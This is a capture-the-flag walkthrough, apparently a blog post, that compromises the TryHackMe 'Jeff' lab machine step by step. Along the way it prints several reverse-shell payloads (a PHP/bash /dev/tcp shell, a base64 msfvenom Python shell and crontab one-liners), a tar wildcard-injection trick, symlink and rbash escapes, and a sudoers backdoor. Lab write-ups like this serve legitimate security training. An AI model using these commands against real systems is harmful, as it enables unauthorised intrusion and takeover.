thm-jeff-public

Nmap scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Nmap 7.80 scan initiated Tue Jul  7 13:15:24 2020 as: nmap -sC -sV -oN nmap/initial 10.10.157.91
Nmap scan report for 10.10.157.91
Host is up (0.20s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 7e:43:5f:1e:58:a8:fc:c9:f7:fd:4b:40:0b:83:79:32 (RSA)
|   256 5c:79:92:dd:e9:d1:46:50:70:f0:34:62:26:f0:69:39 (ECDSA)
|_  256 ce:d9:82:2b:69:5f:82:d0:f5:5c:9b:3e:be:76:88:c3 (ED25519)
80/tcp open  http    nginx
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jul  7 13:15:51 2020 -- 1 IP address (1 host up) scanned in 26.86 seconds

We can see we only have port 22 and port 80 open.

Lets see whats on port 80.
We navigate to port 80 and only find a blank page. Viewing the source code we can see a little hint in there of us.

1
<!-- Did you forget to add jeff.thm to your hosts file??? -->

We then add jeff.thm to our /etc/hosts file.

Lets now navigate to http://jeff.thm.

We can see we have a blog page for Jeff.

Lets run gobuster against the site to see if we have any interesting directories.

1
2
gobuster dir -u http://jeff.thm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,                                                                                                                                  
html,php -t 100

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://jeff.thm/
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: txt,html,php
[+] Timeout: 10s
===============================================================
2020/07/07 12:32:25 Starting gobuster
===============================================================
/index.html (Status: 200)
/uploads (Status: 301)
/admin (Status: 301)
/assets (Status: 301)
/backups (Status: 301)
/source_codes (Status: 301)
===============================================================
2020/07/07 12:35:18 Finished
===============================================================

We then continued fuzzing for directories and file extensions and managed to find a backup.zip file within the backups directory.

1
gobuster dir -u http://jeff.thm/backups -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,html,php,c,asm,zip -t 100

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://jeff.thm/backups
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: zip,txt,html,php,c,asm
[+] Timeout: 10s
===============================================================
2020/07/07 16:32:39 Starting gobuster
===============================================================
/backup.zip (Status: 200)

We proceeded to download the file to see what information we can get from it.

The file was password protected so we used fcrackzip to brute-force the password.

1
fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt backup.zip

┌──(kali㉿puckie)-[~/thm/jeff/backup]
└─$ cat wpadmin.bak 1 ⨯
wordpress password is: phO#g)C5dhIWZn3BKP

Inside the zip file we found a “wpadmin.bak” file.
cat the file and we see we have a wordpress password.

Now lets find the wordpress site. We started scanning for any sub-domains.

1
wfuzz -c -f sub-fighter -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u "http://jeff.thm/" -H "Host: FUZZ.jeff.thm" -t 42 --hh 62 

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz’s documentation for more information.
********************************************************
* Wfuzz 2.4.5 – The Web Fuzzer *
********************************************************
Target: http://jeff.thm/
Total requests: 19983
===================================================================
ID Response Lines Word Chars Payload
===================================================================

000000326: 200 346 L 1455 W 25901 Ch “wordpress”

Total time: 101.0978
Processed Requests: 19983
Filtered Requests: 19982
Requests/sec.: 197.6600

We can see we have a sub-domain called wordpress.

We add wordpress.jeff.thm to our /etc/hosts file and navigate to it.
We can see we have a standard WordPress site.

Lets try the credential we found in the backup.zip file.

The credentials worked.
We can now proceed in getting a reverse shell using the plugins in WordPress.

We navigate to the WordPress plugin editor and add our php reverse shell in the code.

1
2
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.14.0.41/1337 0>&1'"); ?>

We then activate the plugin in the installed plugins menu to trigger our reverse shell.

We got a shell.

We can see there is no users in the /home directories. This might indicate that we are in a Docker container.

We test by running a simple script.

1
2
3
4
5
6
#!/bin/bash
if [ -f /.dockerenv ]; then
    echo "I'm inside matrix ;(";
else
    echo "I'm living in real world!";
fi

We can see that we are in fact in a docker container.
We started looking for any files or information that we can use to escape the docker.

Inside /var/www/html we can see a interesting looking file called ftp_backup.php.

We cat the file and see it contains ftp credentials for the user backupmgr.

SuperS1ckP4ssw0rd123!

Looks like this could be an incomplete script.

Let’s try to connect to FTP server using curl. Note: -P - is the important part makes curl use the only available connection.

1
2
www-data@Jeff:/var/www/html$ curl -s -P - --list-only 'ftp://backupmgr:SuperS1ckP4ssw0rd123!@172.20.0.1/'
files

I googled around for “linux backup privilege escalation” and i found an article about TAR wildcard injection & it worked.

First lets generate a python one-liner reverse shell using msfvenom.

1
2
3
4
5
$ msfvenom -p cmd/unix/reverse_python lhost=10.9.234.105 lport=6666 R

No encoder specified, outputting raw payload
Payload size: 625 bytes
python -c "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCAgLCAgICAgIHN1YnByb2Nlc3MgICwgICAgICBvcyAgICAgOyAgICAgICAgIGhvc3Q9IjEwLjkuMjM0LjEwNSIgICAgIDsgICAgICAgICBwb3J0PTY2NjYgICAgIDsgICAgICAgICBzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQgICwgICAgICBzb2NrZXQuU09DS19TVFJFQU0pICAgICA7ICAgICAgICAgcy5jb25uZWN0KChob3N0ICAsICAgICAgcG9ydCkpICAgICA7ICAgICAgICAgb3MuZHVwMihzLmZpbGVubygpICAsICAgICAgMCkgICAgIDsgICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICwgICAgICAxKSAgICAgOyAgICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSAgLCAgICAgIDIpICAgICA7ICAgICAgICAgcD1zdWJwcm9jZXNzLmNhbGwoIi9iaW4vYmFzaCIp')[0]))"

Let’s add into shell.sh:

1
2
www-data@Jeff:/tmp$ echo "python3 -c \"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCAgLCAgICAgIHN1YnByb2Nlc3MgICwgICAgICBvcyAgICAgOyAgICAgICAgIGhvc3Q9IjEwLjkuMjM0LjEwNSIgICAgIDsgICAgICAgICBwb3J0PTY2NjYgICAgIDsgICAgICAgICBzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQgICwgICAgICBzb2NrZXQuU09DS19TVFJFQU0pICAgICA7ICAgICAgICAgcy5jb25uZWN0KChob3N0ICAsICAgICAgcG9ydCkpICAgICA7ICAgICAgICAgb3MuZHVwMihzLmZpbGVubygpICAsICAgICAgMCkgICAgIDsgICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICwgICAgICAxKSAgICAgOyAgICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSAgLCAgICAgIDIpICAgICA7ICAgICAgICAgcD1zdWJwcm9jZXNzLmNhbGwoIi9iaW4vYmFzaCIp')[0]))\"" > shell.sh
<9jZXNzLmNhbGwoIi9iaW4vYmFzaCIp')[0]))\"" > shell.sh

Now we will use 2 commands that help tar to run shell.sh:

1
2
www-data@Jeff:/tmp$ echo "" > "--checkpoint-action=exec=sh shell.sh"
www-data@Jeff:/tmp$ echo "" > --checkpoint=1

Now let’s upload them to FTP server using curl.

1
2
3
www-data@Jeff:/tmp$ curl -s -P - -T "shell.sh" 'ftp://backupmgr:SuperS1ckP4ssw0rd123!@172.20.0.1/files/'
www-data@Jeff:/tmp$ curl -s -P - -T "--checkpoint-action=exec=sh shell.sh" 'ftp://backupmgr:SuperS1ckP4ssw0rd123!@172.20.0.1/files/'
www-data@Jeff:/tmp$ curl -s -P - -T "--checkpoint=1" 'ftp://backupmgr:SuperS1ckP4ssw0rd123!@172.20.0.1/files/'

We’ve shell back.

1
2
3
4
5
6
7
$ nc -lvp 6666
listening on [any] 6666 ...
connect to [10.9.234.105] from jeff.thm [10.10.39.166] 50444
python3 -c 'import pty; pty.spawn("/bin/bash")'
backupmgr@tryharder:~/.ftp/files$ whoami;id
backupmgr
uid=1001(backupmgr) gid=1001(backupmgr) groups=1001(backupmgr)

we could do it also the Python way

After doing some troubleshooting we found that python3.7 is available to us.

We can now create a script to upload our files to the ftp server and try to get code execution.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python3.7
from ftplib import FTP
import os
import fileinput
import io
host = "172.20.0.1"
username = "backupmgr"
password = "SuperS1ckP4ssw0rd123!"
ftp = FTP(host=host)
login_status = ftp.login(user=username, passwd=password)
print(login_status)
ftp.set_pasv(False)
ftp.cwd('files')
print(ftp.dir())
rev = io.BytesIO(b'python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.14.0.41",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'')
emptyFile = io.BytesIO(b'')
ftp.storlines('STOR rev.sh', rev)
ftp.storlines('STOR --checkpoint=1', emptyFile)
ftp.storlines('STOR --checkpoint-action=exec=sh rev.sh', emptyFile)
ftp.dir()
ftp.quit()

Its worked and we got a shell.

We can see we are now the user backupmgr.

We would now need to elevate to jeff.

We start by looking for file belonging to jeff.

python3 -c 'import pty; pty.spawn("/bin/bash")'
1
find / -user jeff 2>/dev/null

We can see a backup file for jeff called jeff.bak, together with a file called systool.

We check the permissions set for jeff.bak.

1
2
ls -al /var/backups/jeff.bak
-rwxr-x--- 1 jeff pwman 43 May 11 15:14 jeff.bak

We can see the file can only be viewed by the user jeff and any user belonging to the group pwman.

We then do the same for the file systools and see it has a SUID set.

1
2
ls -al /opt/systools/systool
-rwxr-sr-x 1 jeff pwman 17160 May 24 13:18 /opt/systools/systool

Lets try and see what systool does.

Running the file with ltrace we can see that option 2 will open and read the file called message.txt.

1
fopen("message.txt", "r")

We might be able to use this to read whats inside jeff.bak.

We remove the file called message.txt from /opt/systools and proceed with creating a symbolic link to the file jeff.bak called message.txt.

1
ln -s /var/backups/jeff.bak message.txt

We run systool again with option 2 and it worked. We now have jeff’s password. : 123-My-N4M3-1z-J3ff-123

We can now su to jeff.
Trying to change directory we can see we are in a restricted rbash shell.

We try and escape by running /bin/bash -p, but got the error that we are not aloud to run “/”.

We’re into rbash to bypass that we’ll use SSH again with --no-profile.

1
2
3
4
5
$ ssh jeff@$ip -t "bash --noprofile"
jeff@10.10.39.166's password: 123-My-N4M3-1z-J3ff-123
jeff@tryharder:~$ whoami;id
jeff
uid=1000(jeff) gid=1000(jeff) groups=1000(jeff),1002(pwman)

The flag seems to be hashed (HashMeLikeOneOfYourFrenchGirls) with MD5:

jeff@tryharder:~$ echo -n "HashMeLikeOneOfYourFrenchGirls" | md5sum
e12*****cac  -

User flag: THM{e12*****cac}

Shell as root

We can now run sudo -l to view Jeff’s sudo rights.

We can see Jeff is able to run crontab with sudo.
We can now use crontab -e so insert our code to run within a given time.

1
sudo crontab -e

We add the following line.

1
*/1 * * * * echo "jeff ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers

It worked.

Now all left to do is sudo su, and we are root.

Since crontab it uses vim we could  also just do :!/bin/bash!

root@tryharder:/home/jeff# docker container ls
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
b262c6303ac4 new-site "docker-entrypoint.s…" 15 months ago Up 59 minutes 127.0.0.1:8080->80/tcp wordpress_wordpress_1
ff92e72d4133 mysql:5.7 "docker-entrypoint.s…" 15 months ago Up 59 minutes 3306/tcp, 33060/tcp wordpress_db_1
root@tryharder:/home/jeff#

or add to crontab to get a shell

* * * * * python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.50.72",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

.

Posted on

Leave a Reply

Your email address will not be published. Required fields are marked *